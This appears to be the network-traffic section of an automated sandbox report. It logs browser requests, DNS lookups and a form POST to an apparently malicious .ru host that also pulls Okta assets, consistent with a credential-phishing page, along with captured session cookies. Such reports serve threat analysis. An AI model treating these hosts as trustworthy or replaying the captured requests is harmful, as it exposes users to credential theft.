Source: global traffic	HTTP traffic detected: GET /ij5e1lnYY910BW7Rj0rRRLd5fHklOYhkkPOwUKizuYVZDV1gZNef210 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qri6FlUuK79s8YndnoaPKwbmL97is8iagD67WrF12FpyzMQx7AvRFlWLmuemmHcd240 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /steO07fE0RQeBsh0MdH7G53APZ0TqNnmm4mqKMLudcfWN45qZnsiPUE6QNaRkQu7xL1vDcZMR4R8gOZFaef254 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrVPK489M24hwfH5kjvNnXyMd1ghIHxR9LPPlGiA45136 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxFQR4FN5KH0wnzDRMaN6pVgvFRqrVShhuogPy4lF548gQda34130 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzcdjaqJlpY3HANBNbYuGyzePNvIty75BarsPN4fJ4MEjrggCb6ab176 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijclYUb10SdAiNlSfNvRacitYnlFeodE99yz6KsKmq6TmJLUgReTdx3Ue78170 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mnEEf90aNx2Vw86HhkOoVxE0aLtTuvVJYkoiAgmPZUKj78150 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qri6FlUuK79s8YndnoaPKwbmL97is8iagD67WrF12FpyzMQx7AvRFlWLmuemmHcd240 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /steO07fE0RQeBsh0MdH7G53APZ0TqNnmm4mqKMLudcfWN45qZnsiPUE6QNaRkQu7xL1vDcZMR4R8gOZFaef254 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij5e1lnYY910BW7Rj0rRRLd5fHklOYhkkPOwUKizuYVZDV1gZNef210 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsBPz9FWiDmkYf0mH0JpBJnijx9sjAYSbHIJc4Ue0CzreM112Nr3aief196 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: nz.freshmnind.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: b0hphs.doeosc.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /qr8iA8xuH5u4Qduqk2y9GGJKeVfpXPDCfu HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV8TP8cb5xwtHBVI4sec-ch-ua-mobile: ?0Accept: */*Origin: https://nz.freshmnind.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJTb3lOTGc1Y3JSMCt0dEVPbTdJL2c9PSIsInZhbHVlIjoiTDlUL2hGaXZKWFpTQ2hDZkIzZWRwWHJyYkJZUEVXYmZmT0N3SWtnZG9MaGpMbU0yZ0FFSGZtOFp0Y0NKckhMZDhnQmJOQjNQYVlRSlpwNUMzbGJwNnFyQ0RxUnkxcW9KajVEdUhuTmJtVUhYaXQ3Qlhib3o4RWdGZ0k3KzFSSGciLCJtYWMiOiJlZDZlNWEyY2FkOWQ3YzgxOTM5MDIxZjNiOWE1YjU1MWEwZThhOWJhZjg4MjJjNTgwM2IwOTMyNmZkYzM4ODNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRobXBPcTlNUDlTTC9SdVBoMUFIMmc9PSIsInZhbHVlIjoiM3NUeVFRU01sMnRET0NveExBZ2tPQW5Gd0F6RGhEK0paS3dvYXdzTDE1cHliKytoUDZVMTV3Njk2Z3E2TDdhN1licGU2UCtTQ3FpMDdkSHlicEtZakRXbzRvdWVsM2NoUHI2YjllTVpUMlZrbGtxSFRGTUxnWjV2MVhpYTBMR0YiLCJtYWMiOiI4MTI1ZDQ5NWIwZjU4MzYzYzc1MmMxYjZhMjEwMmUzMDBkYTM0MWIzYjg5ZGNlNmRjMmI1NzQyNjE3ZTViMDdhIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 17:08:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b1R4l4F9uVRnJY6B%2FnyAKyPRz3488sYqrGoNXHihBfLgp0PekZiXQv4wixuPMK9pEsuIRKSxL9dT3sX%2B2M3hVrGKbQQcyqrHvPQro1OHqZ7O8cCpd1tg2ZOiOgcL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=5388&min_rtt=5153&rtt_var=2402&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2241&delivery_rate=411773&cwnd=251&unsent_bytes=0&cid=8c215971c7f9a823&ts=131&x=0"Cache-Control: max-age=14400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 926002625fa2c475-EWRalt-svc: h3=":443"; ma=86400server-timing: 